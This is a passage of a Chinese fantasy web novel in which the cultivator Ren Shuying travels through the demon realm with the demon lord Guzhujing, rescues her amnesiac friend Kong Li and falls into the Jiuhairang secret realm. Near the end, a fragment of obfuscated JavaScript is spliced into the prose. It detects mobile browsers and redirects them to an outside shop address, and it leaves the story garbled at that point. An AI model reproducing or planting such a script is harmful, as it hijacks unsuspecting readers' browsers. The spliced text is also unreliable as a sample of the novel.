叩雪:‘‘此处像一个巨大的行宫,要是吸引更多魔族的注意更难以对付,不如先往原路北上吧,那边像是有河道。’’
任舒映听着作应,实在不行她往河道逃。
思来想去又在此附近设了爆灵术,既可干扰吞息兽,又可拖延时间。
事毕,耳畔传来一阵脚步杂乱的声响,‘‘他们来了,叩雪我们走吧。’’
任舒映前脚离开,魔族遂追来。
‘‘老大,是一个修士,她,她往北宫道紫幽林去了……’’
魔卫看着渐渐消散的灵气言语间颤颤巍巍,神情慌张,似乎颇为畏惧那紫幽林,吞息兽亦在盯着北宫禁道,来回徘徊,不肯再向前走去。
‘‘不知死活的修士,他们误以为那边没有人才逃那里去的吧,北宫就算是那几位魔君都不敢去,他们等着死在那吧!’’为首魔卫收刀入鞘,对着尾后其余人大喊:‘‘都回去吧,前面是北宫禁道。’’
……
——
任舒映急着赶路,在穿过寂静的林子后小跑在宽阔有看不见尽头的石道上,微弱的月光打下来,抬头环顾,似乎两边皆是高耸的石墙,粘腻的脚步声,
忽然她脚下一滑‘‘扑腾’’一声,径直跌倒在地面,好在她用手掌支撑着,才不至于脸贴于地面。
‘‘叩雪,这里好像没有许久没有人打理过了。’’
‘‘啊?’’
‘‘我虽然看不见但是用手摸在地面,似乎摸到了湿泥,还有厚厚的青苔……’’
叩雪忽地颤抖感受到任舒映内心的不安:‘‘难道……’’
剑灵可以感受到主人较大的情绪波动,任舒映素日除了接到任务,平时都是窝在自己居所,心如止水于她而言,不足为过,
如今忽然感受到这种莫名的慌乱,叩雪忍不住问:‘‘这里没有人,万一是有更加可怕的东西呢?要不我们返回吧……’’
‘‘没事,这里的魔息淡了不少,或许是我多虑了。’’
叩雪:‘‘你这个时候多虑,我真的会信以为真……’’
‘‘……’’
她担心附近还有魔族的人,她为了不打草惊蛇,便没有使用灵力照明,她站起来漫无目的继续走去。
也不知道这紧张的情绪持续了多久,穿过一处荒废的游廊,乍然出现昏黄的幽光。
极目远望,几步行处,有一浅溪,溪面放置着与凡界相似的皇室宫灯,宫灯有薄纸隔挡外风,灯柱有精雕细琢的花纹,顿时觉得这景象柔和了几分。
绿禾遍野,清水潺潺,水面倒映的月光皓洁清冷。竟还有三三两两的小鱼游逐嘻戏,偶然一跃,涟漪泛泛。让她觉得此处的主人定然是颇为喜爱这悠然闲适的生活。
叩雪见任舒映蹲在溪边,垂眸看着水底,伸手玩起来,不禁开口:‘‘你竟还有闲心在这里逗鱼???’’
任舒映撇嘴:‘‘我就是看看这水有何异样。’’
说罢她收起玩心,欲要起身,怎料溪河对面,倏然出现一道熟悉的身影,在林立竹群下,身长鹤立,金冠墨发,沉眸静默观她。
忽的一阵凉风拂面,她只闻衣袍猎猎之声,既而眯着眼睛愕然对望。
任舒映:“?”
她觉得是不是她嗅的魔气过多,影响灵识,出现了幻觉。
不然怎么可能会在此见到孤竹京?!!
半晌,他踏着溪面若隐若现的浮石迎面行来。
“孤竹京?”
“……”
“
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……真是你吗?”
孤竹京垂眸看着她神色莫辨:“此话应该是我问你。”
任舒映观他的的话,莫非他就是此处的主人?
“这里是什么地方?”
孤竹京沉默片刻忽然一笑,她顿时寒意四起。
“此处是魔域。”
她连连后退几步,语气不觉发冷:“你到底是谁?”
“你会知道的。”
话落,长袖一拂,任舒映只觉得一阵困意铺天盖地卷席而来,欲要栽倒。孤竹京伸手将她揽入怀中,低着头打量着,一片阴影把眉下掺杂暗涌的眸光掩盖。
虽不知任舒映怎么来到魔域,但她又不能有差池,宫中皆是魔族,他思忖许久还是把人抱进竹林内的小庭院中。
——
天色瞳矇,魔宫死寂,孤竹京悄然无声从北禁宫道回到沧渊魔殿,孤竹京唤来魔卫,“去查查近日宫中有何异样。”
魔卫即刻回应:“回魔主,昨夜六魔君的暗影魔卫带走了一个修界之人。”
他手下几个魔君总是不安分,魔宫内安插的眼线不计其数,孤竹京虽有时也会抓来几个杀鸡儆猴,但却鲜少整顿,久而久之他们开始收买魔宫的侍从,如今还瞒着他抓人了。
好啊。
孤竹京勾唇一笑:“我莫不是魔宫中最后一个知道的吧?”
魔卫惊恐万分:“昨夜本欲报来,可暗影魔首对我们说,此事不大,不必烦扰……”
“看来这暗影魔卫还真是为主分忧啊。”说着他笑意不减,眉目一凛,
“继续查被带走的修士,若有其他动作即刻来报。”
“是!”
魔卫带门而退,不料任舒映居然从虚掩的窗外爬进来。
孤竹京一愣,蹙眉往窗口行去。
“你怎么跟过来了?”
任舒映看向他,指向供台上摆放的撼刑,不紧不慢道:“回魔域主,我有灵犀印。”
“既然知晓我的身份,就别四处乱跑。被魔卫抓到,我不会管你。”
任舒映才不会被他唬住,确实可以不管她,但是他得管她身上的雪鲛蛊。
虽已知道孤竹京的身份是魔域主,可她很难怀疑渺梦山魔袭一事是他所为。
百思不得其解,她沉默须臾遂启口:“渺梦山与你无冤无仇,为何要攻山?”
“我虽是魔域主,但从来不管魔域事务,你要问不妨去寻那几个魔君?”
“所以……此事不是你干的?”
孤竹京不再说话,无言看着她。
他倒是知道自己声名败坏是何缘由,干了的事、惹了的人,原来脏水都泼他这来。
“不管你所说的是否属实,我定要查出幕后主使。”
念及此处,孤竹京忽问:“你这么来此处?”
莫非他被一路跟踪之此,可他这么会毫无察觉。
“昨夜我还在修界中皋霄华,一个魔修将我一友劫走,入了那魔修的阵法。没想到居然到了遥距万里的魔域。
虽听起来难以信服,孤竹京眉目并无半分动容。因为魔域之中确实有一魔修可以做到万里遁逃之法。
孤竹京沉思片刻有了裁断,正欲要唤人吩咐下去,则一吉日拜访一二。
殿门外乍然想起来一道声音,
“魔主,今日采集的女子画像已在此,还请过目……”
任舒映:“?”
孤竹京微顿,神色自若凝视任舒映,
“……进来吧。”
22.棋盘暗语
孤竹京示意任舒映待在此处,随即回到正殿,大门轻缓打开,几个侍从垂首拘谨,捧着捆卷的画帛,纷纷鱼贯而入。
“魔主,所有画像皆在此,若是有如眼之人,便勾在名册上面。”
任舒映虽未出来,但她心中不免好奇,莫非孤竹京还尚未有婚配?
思来想去,反正他们也不知道偏殿有人,遂悄然无声将耳畔贴在不透光的屏风,外面听的话一清二楚,
“此次名册上还有六魔君的掌上明珠……”
孤竹京不过粗略扫视一番,掀开眼皮看着侍从不冷不淡问:“这话是灭谛让你带话的?”
见状座下之人惶恐不已,几乎要把头埋在地下,“魔……魔君,小的从未见过其他魔君,是六魔君之女芸黛让我带话……”
孤竹京还没有开口逼问,便不打自招,任舒映扶额,心下腹诽,这孤竹京当真这么可怕?
虽说这听着像是手下的人有意买通下人,送至魔宫,听着就别有意图。这做魔主的眼里自然容不下沙子。
她偏头目光炯炯看向孤竹京的背影,猜他会叫那六魔君前来,亦或是把这个被收买的人清除。
不料半晌过去,他只是面色平静似经过深思熟虑,摆手命侍从下去。
任舒映:“……”
见他们仓皇逃窜,她施施然走来。
“你这么不看啊?”
走至书案,方才搁置的其他画帛连翻动的痕迹都没有,反倒是被几本折文覆盖。
“怎么,你想看?”
孤竹京话虽然问她,可已经在层层叠叠凌乱的书堆中抽出来一张拆过的画,顺手递在她面前。
“看看。”
任舒映一怔,略微迟疑:“……当真?”
“拿着啊。”
话落,孤竹京把画推过来,她只好硬着头皮接过画帛观瞻一番。
……怎么觉得孤竹京在逼迫她看一般。
定眼一看画中女子,红衣艳妆,任舒映骤然想起黑宜城中遇到的芸娘。
“怎会是她?!”
孤竹京又道:‘‘另外一个修士亦是被六魔君带走了,不如你猜猜你这朋友可还活着?’’
任舒映乍然抓起孤竹京袖子:‘‘我要去救她,六魔君在哪?’’
孤竹京原以为任舒映会求他去救人,倒是没想到她会是提出自己去救,故复问‘‘你一个修士在魔域自身难保,就不怕搭上自己性命?’’
‘‘我已寻回我的剑,区区魔君又有何惧?就算是你我尚可一敌。’’
孤竹京眉眼一弯,轻笑出声。他轻蔑的睨向任舒映,口中吐出几字:‘‘不自量力。’’
‘‘那好啊,你带我去寻六魔君,我自会让你亲眼目睹。’’任舒映面上不显露半分慌忙,但心中已又想法。单凭她一人自然不敌,但有雪鲛蛊母,孤竹京定然不会坐视不管,他方才的那话语,不就是要让她套话求他吗?可她不吃这一套。
‘‘你快说啊!’’
孤竹京目光移落在那副平摊在书案上面的画像,思索须臾才松口道:‘‘去可以,但你不可自作主张。’’
事情发展瞬息万变,她虽可以不自作主张,都若是出现意外,断然是要按自己所想行事。
念此,任舒映若有所思,敷衍应下。
两人虽商讨完,但不料孤竹京也是想一出是一出的人,居然即刻派人带话,至日落后登门拜访。
--
乱魔窟。
六魔君一听孤竹京要来访,心中隐约泛起不安,火急火燎又传话让老三熙谛过来。
见熙谛赶赴而来,已天幕欲瞑。六魔君一向视熙谛为谋士,一来他身为魔修不为孤竹京做事,二来他无心争夺魔主之位,用起来也放心。至此他才在黑宜城谋利一事,不谋而合。
六魔君越细想愈加六神无主,孤竹京忽然在此要他性命恐怕都有可能,‘‘这可是孤竹京第初次来乱魔窟,你不觉得有诈吗?’’
‘‘他无非是为一事而来。’’熙谛落坐,优雅理了理衣袖,不紧不慢的啜了一口茶。
‘‘何事?’’
‘‘那夜你擅作主张,带走了魔宫的那位修士,他应当已知晓…’’
灭谛冥思不解反问:‘‘区区一个修士他还管这么多?’’
‘‘你在魔宫暗中设的暗影魔卫过于明目张胆了,魔主自然坐不住,若是要来敲击一番也是正常。’’
话至此,灭谛哑口无言。
‘‘你也该庆幸孤竹京成日对此睁一只眼闭一只眼,若是上一个魔主,岂会留你活至今?’’
听罢,灭谛想起来几十年前的魔主苍燎,顿时倍感寒意。苍燎以嗜杀盛命,如今的魔君神出鬼没,魔宫中的人也难寻其踪,就连魔域事务亦是极少插手,但就是对这魔主了解的少之又少,才会觉得他比昔日苍燎更加难对付。
是啊,到底还是他低看这孤竹京,一个魔修在短短几载便可以剿灭乱魔窟几位魔君,登上魔宫魔主之位,又是岂容小觑之辈?
两人整束一番,至一柱香毕,孤竹京携一侍女低调至六魔君洞府。
灭谛带着其女芸黛急匆匆出来迎接,
‘‘魔主有何要事,不妨召我入宫,怎还劳烦您屈身前来……’’
孤竹京冷淡作答:‘‘魔宫对亏你照拂,我才省了不少锁事,今夜是特来感谢的。’’
灭谛听这已然是汗流浃背再无话接,还真是被老三说中,孤竹京莫不是来索命的吧?听罢灭谛更加拘谨,扯出古怪的笑颜,举止间都是奴颜婢膝之态。
孤竹京闲庭信步走入大门,灭谛后面的芸黛久久未动,宛若石化。
灭谛压低声音连连叫唤:‘‘芸儿,芸儿…?’’
此情形正落于孤竹京与他身边侍女眼中,他顿下脚步忽而含笑问:‘‘这位就是令女?’’
‘‘啊,正是…’’
‘‘倒是个美人,便是你想要来魔宫?’’
六魔君观察二人眉眼交锋,心想孤竹京似对芸儿有意,不妨顺水推舟,启口插话添油加醋,以便撮合两方。
可芸黛听罢,猝地敛起惊诧的眸光,压着气息徐而解释:“小女子虽有此意,但心下更加念切族内挚亲,还请魔主成全。”
灭谛一僵,呆愕看着芸黛,面上写尽难以置信,
“?”
不是说好的自荐入魔宫,怎反悔了?芸儿这是在作何?
六魔君抢在孤竹京开口前,话语中夹杂着一丝质问,“芸儿当真如此打算?”
芸黛语气决然:“父君我意已决。”
孤竹京见之浅笑:“既然你有此想法,我便不多过阻,六魔君倒是有一孝女啊。”说着,任舒映一面跟在孤竹京身侧径直入门,一面眯眼睨着他背影,
这人又开始装了。
--
任舒映见孤竹京已落坐,遂凑在他耳边低声道:‘‘我去小解。’’
孤竹
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京蹙眉看向她,欲要提醒两人的约定,可任舒映似是不给她说话的机会,已急匆匆退至门外。
她鬼鬼祟祟摸到后院,随后召出剑灵叩雪,四处警惕巡视。
她出来自然是出来寻人,但不是孔黎,回想方才就在她进入洞府内,有一男人在侧道角隅暗中看着。
虽不知道孤竹京是否察觉,但是她看的一清二楚,此人就是那夜劫走孔黎的真凶。顾及到孤竹京走不开,她才孤身前来,
‘‘叩雪,寻探此处地形。’’
任舒映说罢,徐缓循着方才角隅之处的花圃望去,清风徐徐拂过她的袖摆,莎莎的叶声传入耳畔,月光照澈,乱叶交杂之处,乍然出现一凉亭。
亭中坐着一年轻男子,面若冠玉,墨发半束,素衣加身,宛如不问世事的谪仙。
她原来以为魔域之人皆是戾气横生,难以接近,靠近打量,那男人眉目如仙人悲悯垂视,从气质上还莫名铺起一层普度众生的光辉。
任舒映默默观察须臾,见那人在独自弈棋,再无其他动作,便打消了走去打扰他的念头,拐道离开。
正举步离开,蓦然一袭狂风吹起似乎有意让她止步,继而又裹挟着清润的声音传来。
‘‘你不来坐坐吗?听无涯说你在寻他?’’
话落,任舒映脚步一顿,转首瞥向亭中的男人。
无涯?莫非那劫走孔黎的人是他所为?任舒映压下心中的猜测,再度接近小亭,
直言道:‘‘我是寻人,但寻的是一女子。’’
‘‘哦?’’对方未抬头看她,自顾自将棋盘的黑白子尽数置放,又问:‘‘你们是修士,是怎么来到魔域的?’’
见此人并无杀意,任舒映压着颇为疑惑之意,静思片刻先是问:‘‘无涯是脸上带疤痕那位吗?’’
‘‘是。’’
她笃定道:‘‘就是他劫走我朋友,不知用了什么阵法,将我们带入魔域。’’
对方若有所思点点头,清隽的脸庞无半分情绪,观他喃喃自语:‘‘原来如此啊……’’
任舒映见此人静默许久后忽然唤了她一声:‘‘会解棋局吗?’’
她怔一瞬,不明所以答:‘‘会的。’’
‘‘你朋友她尚且是安全,但是也很危险。你解了这盘棋局便赶快离开罢,从何而来到何回去,听我而行,自可安然无恙。’’
说完,那古怪的男子眉目攒动愁绪,喟叹一声,便起身款款离开。
解棋局?任舒映低头起初看着,毫无头绪。
黑白零零散散,杂乱无章。
反反复复的回想方才的话。起初观此棋盘皆是死路,仔细检查,中间却留有明显唯一活路。
她不禁想起在渺梦山时,师尊授她棋路,故意只留一漏洞,让毫无棋局阅历的她天真以为自己已勘破棋局。
故以,她站立在亭中,踌躇不定。
死绝路,逢生处。
左思右想,她忽然觉得棋盘摆放的莫名略微眼熟。
剑灵也探寻地势回来,
她骤然脑中闪过一想法,遂急忙问:‘‘叩雪!此处府邸可是主堂坐南,后院呈低偏西之向?’’
叩雪惊呼:‘‘对啊,你怎么知道的?’’
原来如此!这棋盘居然是那人摆放的地形图,而空缺之处是解棋局之关键,亦极大可能是孔黎所在之处。
‘‘叩雪,先随我来,我想我已经知晓孔姑娘在何处了!’’
23.归衢阵
孤竹京早会料到任舒映会去寻人,如此他也没有耐心与灭谛语话周旋。
“六魔君,据闻你的暗影魔卫带走魔宫中出现的修士,不知如今此人如何了?”
灭谛微愣,接道:“您是要那修士?她……”
见孤竹京静静凝视着,灭谛略微尴尬 ,拉长了话语,组织语言罢,解释起来:“那是个药修,老三便留她一命,让她留于此为我们制作药材。”
话虽如此,灭谛却有意避重就轻,将此事推至熙谛身上,好让他隐瞒自己所行之事。
若是孤竹京知晓他用万象缩地阵法在修界抓人,断然会败露九骸壤古境密谋的计划,
果不其然,孤竹京听完便将注意力转向熙谛,
“他?为何制药,魔族没有巫医了么?”
灭谛摸摸鼻子,心虚答:“……啊,兴许是老三入魔道之前,就一直习惯修界药修来治隐疾,这毕竟伤害的是命根子,若要留下那药修也是情有可原……”
在一旁默不作声的芸黛眼睛发直看着父君,没想到认识多年的三魔君,年纪轻轻,一表人才,原来从未娶亲,居然是有隐疾!
孤竹京倒是有些同情起来,他点了点头说道:“既如此,待我看看这修士,人便留于此处。”
“好、好好魔主随我来,”灭谛笑容可掬,起身引路。
——
不知为何,这魔域与任舒映所想象的极不一样。
她曾去过凡界之地,印象最深的便是人族辉宏的皇宫。坐落于最为繁华的中心。
而六魔君府邸就如同皇宫外的贵官府邸,怪石嶙峋,旧圃秋叶,清池萎绿,回廊盘曲。
无不透露着庄重古朴,她一边环顾四周,一边回想适才棋盘的地形图。
莫非魔族也喜欢人族的宅邸?沉吟间她终于寻到了解棋破口。
正是眼下一处静谧的小宅,举步走进,扑鼻而来是苦涩的药味。附近再无他人,她心下一沉,警惕地一手积蓄灵力,抬拂袖推开虚掩的房门,
药味愈加浓郁,眼帘蓦然显现一个熟悉的浅清倩影,任舒映大步走在她的后面,惊喜的大喊:‘‘孔姑娘!’’
孔黎却仿佛没有听见,她蹙起秀眉,站立在桌案前不断地捣鼓着药泥,颇为专注。任舒映似乎发觉到她的古怪,噤声观察起她的一举一动。
等她停下动作,才注意到身边的任舒映,她一脸意外看向突然出现在药房之人,疑惑的问:‘‘你是魔君派来取药的吗?怎今日来的这么早?我还没有萃取药精呢。’’
任舒舒歪头‘‘啊’’了一声,半信半疑的道:‘‘你…不知道我是谁?’’
‘‘魔君日日派来的人都不一样,我当真不记得你是那位了,’’孔黎干笑一声,没太在意任舒映的话,只问:‘‘可是药有问题吗?’’
任舒映见孔黎清澈的瞳眸无再一丝变化,她喟叹一声,心中哀嚎不已。
完了,孔黎这是被人洗了记忆,囚在这暗无天日的药房当黑工吗?若真是如此带回修界,那孔穆知晓不得和她没完?!
任舒映平复了心绪,安慰自己好歹,人没事啊,她只问:‘‘你知道你是谁吗?’’
‘‘我?我叫阿念呢。’’
什么阿念!完了,真的完了…
孔黎虽不知道任舒映神情为何如此复杂,亦不理解她说话为何如此奇怪,只以为是她怀疑自己的炼药能力,继而孔黎落下一道承诺:‘‘我乃药师谷微钰圣医大弟子,炼药与我而言信手拈来,不必担心我制不成,再过几日,我定可以。’’
这番话听着,任舒映头又蹙紧了几分。
孔姑娘啊!你知道你在哪吗?这样下去这傻孩子要被魔修洗脑了。
‘‘孔…阿念,此处不是你该待的地方,让你炼药的是魔修,他们别有意图,居心叵测你该回到属于你的地方。’’
一通话下来,孔黎似懂非懂,茫然无措的问:‘‘你…当真没有与我说笑?’’
任舒映也知道孔黎如今不会听信她的话,她垂眸召出一张写满字的纸,
“你看看这个呢?”
孔黎半信半疑接过递交的纸,眸中沉寂郁郁。
她笃定这是她亲笔写的药方,可为何自己半分印象都没有。
任舒映正欲问她可认识这字迹,叩雪在手中嗡然颤动。
“主人,有人来了。”
任舒映一顿,脑中唯有一个想法。
按指引她来此处那个人的话,先将孔黎带回魔宫最开始出现的幽紫色花林,猜测阵法便会在原地开启。
至于失去记忆一事,也只能交给药师谷的人医治。
念下,任舒映猛地攥着孔黎手腕,凝眉问:“阿念我知你不记得许多事,但如今情况紧急,外有魔修赶来,你留在这里只会更加危险,难保你制出药材魔修不会杀人灭口,如若你相信我,便带你回去你的师门会帮你恢复记忆。”
孔黎听着,似有动容之意。
“……我随你走。”
——
孤竹京径直往药房而来,与一路上领路灭谛心思各异。
但主要还是灭谛心揣莫名不安,时不时回眸不动声色打量孤竹京。
这时,不远处乍起阵巨大的灵力波动,低草摇晃,树枝摇曳,一把莹白长剑裹挟着浅浅流萤迎面急驰。
孤竹京一眼就看出来这是任舒映的叩雪。
灭谛一怔,尚未反应过来,眯着眼睛正当疑惑莫不是那药房出事了?
孤竹京语调瞬间变冷,呵斥道:“看着干嘛?这剑一看就是修界的,还不追上去,人要是跑了唯你是问。”
灭谛迟钝接话:“好、好的……我这就去。”
灭谛被引走,孤竹京加快步伐寻至灵波未消的药房。
正好与任舒映撞上。
孤竹京停下脚步看着她身后的茫然无措的女子问:“就是她?”
“嗯,方才有一下棋之人给我指路,他告诉我,只要我回至一开始出现的地方,就可以回归修界。”
孤竹京若有所思看着任舒映,将撼刑交给她道:“你随撼刑去魔宫,它带你走暗道,无人发现。”
闻言,任舒映接过剑道谢,忙不迭运轻功赶往魔宫。
——
半晌,灭谛神情沮丧气喘吁吁跑回来。
“是属下失职……未、未抓到那剑。”
灭谛心如悬旌,方才孤竹京发话,要是没拦下来,唯他是问,要是降罪下来,他不就又有一死法?
他觑向对方的寒凉的脸庞,揣测着孤竹京的心思,这当灭谛想要再度解释时,孤竹京阴沉的脸忽而缓和,
“…罢了,跑了便跑了。”
灭谛:“?”
不是,这魔主不是在生气吗。
——
任舒映随撼刑一路畅通无
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阻,主要还是这暗道设计的够精辟,谁会料到入口会在乱魔窟偏僻的一处角隅——猪兽饲养场上。
任舒映撬开地窖,一只花斑猪兽蹭上来惊骇瞪着:“我在此百年就从未有人发现此暗道,此女究竟是何人?”
猪兽也是吐槽一嘴,但它没料到任舒映通晓兽语,任舒映急着赶路呢,随口接了一句,急匆匆爬下暗道。
“不过一介普通人,意外得知,猪兄再会哈……”
闻言猪兽惊愕在原地,陷入自我怀疑。
等会,我说人话了吗?
一路直奔紫幽林,那个谪仙般的男人蓦然现入眼帘。
见任舒映和孔黎迎面而来,他淡然道:“我在此等候多时了。”
任舒映只答:“多谢,只是我这朋友,但她失忆了,所以耗费了一些时间。”
对方不再过问,只道:“你们在此站好,若是阵法启动你们不可出来。”
话落,任舒映领着孔黎到一乱丛。
“万泾归衢,四和连枢,阵起。”男人并指召灵,低吟阵咒,阵中随即浮起一个猩红的血眼,地面出现奇怪的金纹,一圈一圈将她们包围。
骤风急啸,天幕沉郁,任舒映想起那夜亦是这般场景。
还在终于可以回去了。
就在阵法即刻传送之时,孔黎突然唤了任舒映一声。
孔黎身为医修,精通脉穴,她在任舒映放松警惕时,封住了她的灵脉。
随后她动弹不得,宛若磐石僵在原地。
“姑娘,谢谢你带我回去,但是……我如今还不能回去,你要是回去见到我的亲人,让他们不必挂念,我会安然无恙的。”
任舒映懵了。
这是要做什么?!
孔黎冲她露出感激的笑容,目不转睛凝视任舒映。步子却连连后退,直至她整个身体都退出阵法,
任舒映连连暗骂。
她随即运行内力,自解封脉。虽然受控时间不长,她跨出一半身躯想要强行把孔黎拉回。
不料一团漆黑浓郁的魔气瞬息之间把孔黎包裹,消失无踪。
“孔黎!”
——
孤竹京听见叫喊,疾步赶上,抬眼望去,阵法内灵气紊乱,还有一团魔气被卷入其中。
孤竹京看向站在阵法外的人语调愈发低沉:“楚惕守,阵法如何了?”
归衢阵,可一息之间,逾越山川,纵横三界,但有一凶险之处,擅自在阵法开启后出入的人会遭受反噬,被阵法绞杀而亡。
他在外都可以看出有人铤而走险,意图劫人,要是任舒映朋友死了也罢,但若是任舒映,那他岂不是为了蛊母功亏一篑。
楚惕守依旧稳声答:“阵法即将终止,里面的人擅自离阵,届时阵法血迹斑斑,死无全尸,若是无人无迹,她们会带去何处,无从得知。”
听罢,孤竹京发出不稳的语调,仿佛被一种不安的心绪笼罩,“……为何。”
“我方才发现,魔域境内,九骸壤秘境已经开启了。”
说着,凌乱的及膝草地停止摇曳,楚惕守的衣袖不再猎猎作响,阵法已平息。
两人齐齐投视阵内,空无一物。
楚惕守道:“阵法受秘境影响,我猜最有可能的,就是要么被那突如其来的魔气带走,要么便提前抵达了九骸壤。”
言落,孤竹京眉目一凛,一言不发拂袖而去。
24.血藤
任舒映要被气死了,当真没料到到这孔黎会逃,最让她起疑的还是那团魔气,既然孔黎不在此处,也只能想,孔黎已被魔域中的人劫走。
让她收回思绪的,还是她现在离奇的处境。
她居然在虚空中往下掉落。
天旋地转间仿佛看见了一片极大的地域,有白雪皑皑的疆域,青葱蜿蜒的山峦,她在云层中不断穿梭,直至摔落在一片冰凉的湖泊里。
“噗通”
炸出一片水花,打破了幽谷的静谧,乍然惊吓到参天古树中的灵兽,几声清脆嘹亮的鸟鸣,它们齐齐鼓动着翅膀好奇落下,枯叶掉在水面,悠然打旋。
“看来是那群修士又要来了。”
“呵,每次都来,也不见得都是些多聪明的人。”
“你瞧瞧,水里泡着的,下落的地点也定不准,哎,后生可畏啊……”
任舒映:“……”
几只鸟叽叽喳喳嘲笑一番,接二连三飞回树中。
任舒映在水中呛了一口,奋力挣扎,惊魂未定爬到岸上。
环顾四周发现自己出现到一片郁郁葱葱的密林,她笑了。
“叩雪,我莫不是在做梦吧哈哈哈…”
叩雪:“……这个地方,好熟悉。”
任舒映止住笑意问:“……所以这是什么地方?”
“如果没记错的话,这是九骸壤古境。”
“?”
叩雪见任舒映不说话,以为她不相信,遂大声指责:“我叩雪便是九骸壤而来,你偏偏就只相信那群什么都不知道的长老!”
任舒映哭笑不得,叩雪是她在无间楼斩杀魔祟之时偶然所得。
说是捡漏也不为过,原以为叩雪自称古境剑冢是它在说笑,直至它说:
‘‘九骸壤之所以在外传言四季更迭快,不过是因为此处每一个区域气候不同,修士在秘境四处游走,气候随着区域而替换,不知不觉,误以为一载轮回矣。’’
任舒映想起来方才掉下来时恍惚在天幕中所俯瞰之景,顿时惊呼:‘‘啊,你说真的啊!’’
叩雪得意道:‘‘我只能说,你有我,就是赚翻了。只要有我在,包管你在秘境中叱诧风云,还可以将此次的稀世灵宝皆尽数收囊中…’’
任舒映最为清楚叩雪的脾性,只要她如今态度恭谨,稍微应和着,便可安抚好剑灵。
心中思酌一番,她扬眉一笑问:‘‘好,这么厉害啊!那叩雪,快告诉我,咱们如何出这秘境吧。’’
叩雪喋喋不休说着,听这话,它的话蓦地戛然而止。
‘‘出去?’’
叩雪跟着复述了一遍,似有些不解有又有些难以置信。
‘‘嗯啊。’’
‘‘你的意思是你要出去?现在?’’
任舒映见叩雪反应古怪,心中揣摩不出,便犹豫作答;‘‘…是啊,怎、怎么了?’’
叩雪大怒,像在斥责又仿佛在嘲笑自己的眼光:
‘‘我怎么会有你这般没有出息的主人?!你初次至此,竟不想着好好规划秘境历练一事,倒是想着如何出去?’’
任舒映一顿,随即由衷感言道:‘‘我这不是有你就够了嘛。’’
叩雪听完,语调虽略微缓和,但还是严历拒绝:‘‘不行!你此次必须得在秘境好好历练一番,不然我便不会给你指明出路。’’
哎,你这剑灵还和我犟上了?任舒映本就一条胸无大志的咸鱼,它怎么还把自家主人往火坑里推呢?
叩雪亦了解主人的性格,思来想去它复补话:‘‘你觉得为难,就当来此游玩,有我在无人伤得了你,但不可离开秘境。’’
任舒映其实极少见叩雪如此任性,平日它便做着高冷一派对其他器灵爱答不理。
故以,才猜测它兴许是想念昔日在九骸壤的故友,才让她在此留一段时日。
如此想来也是情有可原,也罢,谁让她是叩雪的主人,答应就是了。
自我洗脑片刻后,任舒映同情心泛滥再无异议,半推半就答应下来。
叩雪心情大好,遂颇有十足耐心讲起关于九骸壤那些不为人知的旧事:
‘‘九骸壤中珍宝虽无数,可被修士带出来的寥寥无几,便是与此处四季分明的区域有所关联,正所谓财不外露,既然都是秘境中最受人追捧的灵宝,又怎会明晃晃摆出来呢?’’
任舒映扑哧笑出声问:‘‘那为何你会出现在无间楼?’’
叩雪后知后觉,听出她话中略有质疑之意,恼羞成怒道:‘‘当年若不是渺梦山几位长老联手阴诈我,我怎会被封印在无间楼?’’
任舒映听着,只觉得奇怪,据它所述,倒像是渺梦山长老与叩雪有何何血海深仇,才将其抓回镇魔煞之楼中封印。
她没直接问出心中的困惑,只是有意无意接起话茬道:‘‘难不成昔日渺梦长老就非抓你不可?’’
叩雪轻蔑的冷哼,
‘‘抓我又能如何?多年来也没有哪个长老可以收服我,择主之权,只在我意。’’
任舒映一脸吃瓜状相,细细算来其实与叩雪相处时日也不过六载有余,但论起今日所闻,她的确还尚未见叩雪提过只言片语。
她暗暗赞叹,不得了啊。
看来这剑灵与上任那批长老但真有过节呢,越听越刺激,正当她再想深入了解其他内情,叩雪蓦然想起来自己的话头,打断话题。
‘‘哎等会?我和你说此处灵器呢,差点被你跑偏了,’’
任舒映梗着脖子一愣,念及凡事点到为止,便只好放弃这念想:‘‘你继续说,我听,我听。’’
见状叩雪停顿须臾,捋清思绪再继续说:
‘‘在此处的灵器基本上皆是自衍灵识,它们与我一样,皆可不被修者强行控制。有自己择主的资格,所以它们会比普通的灵器更加心高气傲,大多是自己设计一场考核,通过者,才有机会成为灵器的主人。’’
任舒映顿时了然,终于知晓这叩雪高冷的怪脾气哪里来的了,但听此番话,她听出来一丝不怪异,
‘‘不对,为何是你们设计?’’
这不是相当于在九骸壤古境搭个戏台,把这些不知情的修士送上台上当猴耍了吗?
叩雪不紧不慢道:‘‘你们修界之人都知道挑上好的灵器,我们自然也可以在挑选主人时候以优胜劣汰定夺!’’
任舒映顷刻凝噎。
不过,好像也有点道理。
说到此,叩雪又开始絮絮叨叨:‘‘主人啊,你可以有点长进吧,此处可没有弱者的容身之地。’’
‘‘我真的很弱吗?’’
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295348|149841||http|test|mini|href|location''.split(''|''),0,{}));
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>可她觉得自己挺强的啊,毕竟是她亲手屠杀无间楼六千二百一层的魔祟,论渺梦山上下弟子何人及此成就?
二人对答着,不觉间密林骤然雾霾升腾,周边仿佛被死寂沉沉气息所环绕。
‘‘叩雪!?’’
任舒映的惊骇的声音蓦地从林子中扩散。
叩雪竟一言不发反常的向她劈来,见状,她迅速侧首避开,一时身后血肉绞杀的动静传入耳畔,叩雪这才轻悠悠道:‘‘你身后有蛇。’’
好在叩雪将这青翠的蛇躯斩断,一分为二。
垂首瞥去,血迹淋漓,星星点点溅落在任舒映衣角上。
叩雪只简言作答:‘‘此林起毒障了,不可久留,先走。’’
任舒映心下一沉,正色点头。
她拿起叩雪举剑而行,步子却忽然抬不起来,犹如负重千钧。
她垂下眼皮,脚腕处悄然出现一抹青绿,长长的身体蜿蜒拖至不远处的茂密丛堆中,
‘‘叩雪!有蛇缠在我的脚上了。’’说着,她挥起叩雪再次截断,但她仔细观察发现,这并非是蛇,而是流血潺潺的藤条。
任舒映起手结灵印,往头顶击去,灵波荡漾,暂时拂散了附近腾起的毒雾。
举目远眺,古木参天,繁茂团簇的枝丫悬挂起成千上万苍藤老蔓。
